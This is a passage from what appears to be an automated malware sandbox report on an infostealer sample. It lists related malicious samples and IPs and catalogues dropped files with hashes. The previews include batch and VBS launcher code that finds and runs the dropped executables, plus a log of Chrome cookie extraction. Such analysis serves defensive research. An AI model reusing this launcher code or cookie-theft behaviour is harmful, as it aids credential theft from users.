kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	118.27.122.26
HETZNER-ASDE	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	116.203.8.178
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	116.203.8.178
	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	5.161.89.212
	glpEv3POe7.exe	Get hash	malicious	Stealc, Vidar	Browse	135.181.65.216
	armv6l.elf	Get hash	malicious	Mirai	Browse	178.63.49.206
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	144.76.181.177
	ppc.elf	Get hash	malicious	Unknown	Browse	144.77.188.7
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	135.181.65.216
	daw21.exe	Get hash	malicious	Stealc	Browse	135.181.65.216
	stealcy11.exe	Get hash	malicious	Stealc	Browse	135.181.65.216

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073800974636334
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrQ:KooCEYhgYEL0In
MD5:	8EED632793A0CE41AFBD6EBD47F2FED2
SHA1:	D1A7C2BBD5CE15FD43C187F728C53F5C837BAB37
SHA-256:	7FF2416645BFAEF02547FC741065EFC6D86FDCEA1DF5AA5F5474A9929CFD9FB7
SHA-512:	5EDB7B22E4B300B278F21244A826B471EFA0742D661031B13DF0D578454F511CC67AEC214B8A39F6FB821C3912C21CD0ED24B5E533C7EEECEF4126191FF86D9A
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x332a61bf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221560291467523
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	8EB418EE77AEA97039ABB0DCCE7B5C25
SHA1:	91183EE8D11C15FAA86BB7628E5716B9B9FB1570
SHA-256:	9B5896CA58FEEBA8D7F1547E0CF2AF0B2BB12F1A1325A9638226C9E4380D7528
SHA-512:	E75574CD737750F43AD4D2979AC8283E74DC33B8E596266DD79C9508B93090AFC02BF10412EE07683448BCBECB116F81320B2AD94C543269A26D7B8BEC291B96
Malicious:	false
Preview:	3*a.... .......A.......X\...;...{......................0.!..........{A.9....\|'.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................<m..9....\|O.....................9....\|O..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07705996870539306
Encrypted:	false
SSDEEP:	3:Aql/llKYerM+aQjn13a/QEsWZq7allcVO/lnlZMxZNQl:AqXlKzr/aQ53qQEBZqaOewk
MD5:	8D7ADBF276926766BFF3C03960F5A407
SHA1:	6652F53F15CC0D07C6BDC86658FF5AAFA5CA90EB
SHA-256:	EAB265224301630E78E3A857AF04BF10F50DEC243A4A1DEDE114EB078DD71847
SHA-512:	CACF7A032508DAA609B06ADCA8A42953AAE03391804AD8990B1FEBD3C34AB4C09EF1693937D2BE06DBB7D21D07C9A300109F7F0B68ED55DAB547A10DA5BDFE2A
Malicious:	false
Preview:	L./......................................;...{..9....\|O......{A..............{A......{A..........{A]....................9....\|O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.875631537911167
Encrypted:	false
SSDEEP:	3:mKDDDRtetCXRa8K+ELHnXSVTlgHBQfiPn:h/RteuRxKNHnXSVahHP
MD5:	E8A7A95328782E2D19517CB4D18FBCB7
SHA1:	BF6D0F4D0406F6758E468C77627C88FAAC5A42AD
SHA-256:	A86FB33D8D28CD3D88DD13BDD1E9916140C4411CA1F1B8FFC62F294CE61F0055
SHA-512:	836581EC3937FD20A813A245E031899FDEE3AE432DAAF2735C1C4F3FC47F58B34B45D336342C89C7AAC0470D9941D8CD1E48E20E902E3C11D3D55987403D5664
Malicious:	false
Preview:	@echo off.set currentDir=%~dp0.cd %currentDir%.cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs".

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5088256
Entropy (8bit):	6.203081434822548
Encrypted:	false
SSDEEP:	49152:5dAjNDSxOdXedt+xG6Cx9vOfmyjtAhvCXrA8jW5E9oHuGeRYvF:AQAhef+4/hyjtovUOE9jRE
MD5:	2BECD73BF8437F366765B7F1D493A16F
SHA1:	5261D7C6F344C1384392F969D971D19F109758D7
SHA-256:	B946981DF7C5580D4DC44824985B8E77A82376D7F50DFD4BCB6478E51D5BD134
SHA-512:	D5D83E14394F4310A746702D8337F2F3E7480477B19575518C4A032250740B0A07616B68F5206B4857809611F7CC8403243BFF5FE5684E4991A8AA0ED88BCAAD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........M.......#.......#...................@...............................V............... ...............................................V.T.............U.....................................................................`!I..............................text.....#.......#................. ..`.rdata....%...$...%...#.............@..@.data... .... I.......I.............@....pdata........U.......L.............@..@.xdata........V.......M.............@..@.idata..T.....V.......M.............@....symtab.......V.......M................B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\process.log

Download File

Process:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe
File Type:	ASCII text, with very long lines (971)
Category:	dropped
Size (bytes):	3429
Entropy (8bit):	5.341337737756256
Encrypted:	false
SSDEEP:	96:RMHS9YSLUSW5yC+uOBClkesWC3+XkO/m+Jw+c/mfCkCX:myPxC/ab7X
MD5:	64C1DD4003202583F05E146027BC1A2E
SHA1:	E6A2F868FBE14408622C015A2CD5F1FF4A17E31C
SHA-256:	6EA1E188F0DE0FFBC32D5175C060821C1832C37AAB0827C3F72D0B5F4792F84D
SHA-512:	0560B0B17E8D85F537B1CFD67D5B669B32037E55FEE49BDD99E7FA8DF8C1223997A94806C82FADCD6A9BC3AA914325ADEBE9AE4BA3797D740282778F84679CC3
Malicious:	false
Preview:	time="2024-12-27T03:09:36-05:00" level=debug msg="Executable path: C:\\Users\\user\\AppData\\Local\\Programs\\Ruby\\TemporaryFiles\\Profiles\\000001\\41546afb898c8a377b77bce6d604d2e2\\winclock.exe\n".time="2024-12-27T03:09:36-05:00" level=debug msg="Folder path: C:\\Users\\user\\AppData\\Local\\Programs\\Ruby\\TemporaryFiles\\Profiles\\000001\\41546afb898c8a377b77bce6d604d2e2\n".time="2024-12-27T03:09:36-05:00" level=debug msg="Log file path: C:\\Users\\user\\AppData\\Local\\Programs\\Ruby\\TemporaryFiles\\Profiles\\000001\\41546afb898c8a377b77bce6d604d2e2\\process.log\n".time="2024-12-27T03:09:36-05:00" level=info msg="Starting the program...".time="2024-12-27T03:09:37-05:00" level=debug msg="User Data Path: C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data".time="2024-12-27T03:09:47-05:00" level=debug msg="Status published successfully: Starting cookies extraction".time="2024-12-27T03:09:47-05:00" level=debug msg="Found 1 available profiles".time="2024-12-27T03:09:47-05:

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\temp_ruby.zip

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2258137
Entropy (8bit):	7.993192364157174
Encrypted:	true
SSDEEP:	49152:qBczNx7r7TYyLIiwxxpfNZIsG+5oA0ddCK+xv3SBMIZ3OFHliXppncCKZ:qBCNx7r7ESIiwv91GUoA0ddkviCFuppe
MD5:	C38160D16C6767F8259EDE2CD87B92F3
SHA1:	B020CD432F511A5E9E1604DC41D3E72164FFD4C7
SHA-256:	C33E304A6FB855D5C8E09C2015A52032E59C9615B9B3F99FEDD3AF74A6B4B10D
SHA-512:	38AC0AC827066BE3632A433BFBBBECAC7CD01CEDD0B2BFBE34F9DBB3529CCF2C47E83ACA6DA37EB499D972F5F281B61F85DDEEE128D0C376B938AA69F04438E1
Malicious:	false
Preview:	PK............................reviewer.exe..{xSU.0..4I...=...#... `#VR......J..U12.%...4...hD.Qq.q....g.qP...Z...P....O.3V.....=k.[[...{...o...9g...k...{..S. H...!$.%D&.. ?..$.\.....v..eo.......e...+..!.=w=..2...{....\|..m...eK.....G.p....dC/~......H.4=!3.B@.9>H'.L...u.!.DGt..g..yx.>i..#...\|..O.$.=..5&..A..'.....R..t.8..^B.A..a..S.X.).W....].T7_MH.@...q.)...8..j..AH....+gt.W7..Wd},.....!w.u.W.....c.%7..^..>#.%......[..C..frGJ5\|..z...]...........O1H_..[3......A3.}....!t..rF...L ........4...9...&..V.RH}..t...V:..O\|h.c..dV..K\|.....?....~>#..G....6....{..z.w6.q............FP2G...D.C..!2...#r.(...hP...U..K"#.!..{...w^.h;L....{..;...._...p$]~.... ......[.....D.k...Z..Dg...`g....A...FA:..@r.&..'...N..y.'........m.#}mu..@..Hm..w.2\|>H.APn2..V....7.).R....8...8....9`h+d....g.}..?....\.v'......=....<.O.].?.aKL..d"S...:.:@...e.# 5.E.+R.:..Y=.:.!.P...Z.......IN..Wv.../<...m..b..H....Y ......7.t....kT._.N.".2..4$...h...F..{..M........0.8C7.F..y=

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9544192
Entropy (8bit):	6.393830099149565
Encrypted:	false
SSDEEP:	49152:3lh2eehpvolmDG5FW3dc3Yeryfu+xgDhuHPJrlqOWHpo5NmV8oaIS4M0+JOjV5EM:2olFYKyfuYgWxxaY2E3NcseF
MD5:	F5BADC8754C48F70B305C62050DFF950
SHA1:	EB5A00E0DE591002513F7B4D6AD3A8F97176E33F
SHA-256:	37D7B9EAC5805FDC8F7BC0FF165BD3AD11D205249560C0664B28EFB77A13C989
SHA-512:	190A226BBE69EFF855877D8CBC65F0CEB10E93A71B8531AD5528772711A3B77541DDB7345D42D879F2C480194708C032B64F8C97C3CF90CFD53F9B1B85970E29
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................#.......6...................@............................................... .................................................T............P...]...................................................................t...............................text...z.6.......6................. ..`.rdata....T...6...T...6.............@..@.data........p.......N..............@....pdata...]...P...^...:..............@..@.xdata..............................@..@.idata..T...........................@....symtab...............................B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\d42706bf42e64bbdfe3696dd11d9bad4.vbs

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1899
Entropy (8bit):	5.0518765611149945
Encrypted:	false
SSDEEP:	48:BJkwC8KZT5TmgUFzC2xa8lCwJ61d1Lm2keYOUd1LP0v/zd1BmT2YO8dFLP3:z8a9LLCX+LX8zmlBnf
MD5:	B412D1236B9411581E81171CFAFDD2A0
SHA1:	F842B1775E8E4369BF47A061CCFB9F038669A9C5
SHA-256:	00E4EA09DD6D68BEE8BB18F47765B93EBFF3FC5D6CFFDCD792C4CACF9E465208
SHA-512:	79B7FF63E4B1E119174C74E344C58D2487BF023905F385AB8C0282805F7BD49D8C2E9C733DDB064CE7FDBF4271B72AB904425F2BCCB3561842396636C6CA8F91
Malicious:	false
Preview:	.Option Explicit..Dim objFSO, objShell, currentDir, tempZip.Dim foundMalNotify, foundReviewerExe..Set objFSO = CreateObject("Scripting.FileSystemObject").Set objShell = CreateObject("WScript.Shell").currentDir = objFSO.GetAbsolutePathName(".")..Function FindFileRecursively(startDir, fileName). Dim folder, subFolder, file. Set folder = objFSO.GetFolder(startDir). . For Each file In folder.Files. If LCase(file.Name) = LCase(fileName) Then. FindFileRecursively = file.Path. Exit Function. End If. Next. . For Each subFolder In folder.Subfolders. FindFileRecursively = FindFileRecursively(subFolder.Path, fileName). If FindFileRecursively <> "" Then Exit Function. Next. FindFileRecursively = "".End Function..' Cek keberadaan malnotify.exe.foundMalNotify = FindFileRecursively(currentDir, "malnotify.exe").If foundMalNotify <> "" Then. objShell.Run Chr(34) & foundMalNotify & Chr(34), 1, True. WScript.Quit.End If..'

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.827712149857308
Encrypted:	false
SSDEEP:	3:mKDDDRtetCXRa8K+ELHzXSHXEKcHHCYAsP:h/RteuRxKNHzE5cHHQY
MD5:	9EEC8BAE2D87D0D481A1D90EA70CC1E5
SHA1:	3A692CEE9B4D7B55AEE5545684A761D814A63A93
SHA-256:	7312EEFDCF5F51D2135D0B138CAD4F374BE7D24740AF827985C9E2B738AA292B
SHA-512:	2FD47B4A8AC6C0224794BE4E284BD89920A872C230179A991CE1D51432AF20DC599B827BFE0C3A850C947FEC9BF73ED6E114B42E6F78F1130D12E2FC9ED4A029
Malicious:	true
Preview:	@echo off.set currentDir=%~dp0.cd %currentDir%.cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs".

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\e775357b2b21508be040c5b0f0c4c8e8.vbs

Download File

Process:	C:\Users\user\Desktop\0A7XTINw3R.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.743958476001232
Encrypted:	false
SSDEEP:	24:fPLFAFLpLXYfzDLMuquaFvI7comgUaLSFLEm:ELpLIr8uqNATmgUFL9
MD5:	5ED594EC74DA8DE8B131161BCB97627E
SHA1:	A98F94DD9FEDE6DE381EC60A62BD339B3AC08070
SHA-256:	AEDE6CE2666F78E7FFF4DFE6B9CA0E385D6ADAFC82C57628CA7253DD9701055D
SHA-512:	BC8766FEC86490D00E7A861D6C8B15878732AE149D5DA6C51542F2941761E622CC683F52E53132C8CD3369C9FA7DCBD6FD01B275195D8248BB15FAFD1CFEFBC3
Malicious:	false
Preview:	Option Explicit..Dim fso, shell, currentFolder, folder, subFolder, file.Dim foundWinClock..Set fso = CreateObject("Scripting.FileSystemObject").Set shell = CreateObject("WScript.Shell").foundWinClock = False.currentFolder = fso.GetAbsolutePathName(".")..Call SearchAndRunWinClock(currentFolder)..Sub SearchAndRunWinClock(folderPath). Dim folder, subFolder, file.. If foundWinClock Then Exit Sub.. If Not fso.FolderExists(folderPath) Then. Exit Sub. End If.. Set folder = fso.GetFolder(folderPath).. For Each file In folder.Files. If LCase(file.Name) = "winclock.exe" Then. shell.Run Chr(34) & file.Path & Chr(34), 1, False. foundWinClock = True. WScript.Quit. End If. Next.. For Each subFolder In folder.SubFolders. If foundWinClock Then Exit Sub. Call SearchAndRunWinClock(subFolder.Path). Next.End Sub.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23h1hypu.fwk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4erywn2n.f4k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ljpd1ig.lkb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjvxs23r.2qg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxu5gbun.wht.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvskgqyu.m2o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1hxt4qx.yj4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5dvwsra.41d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcqawiso.h5k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lff1uwls.itk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqlz45kp.j2k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_otupqvkw.nig.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1bbtocx.fsc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
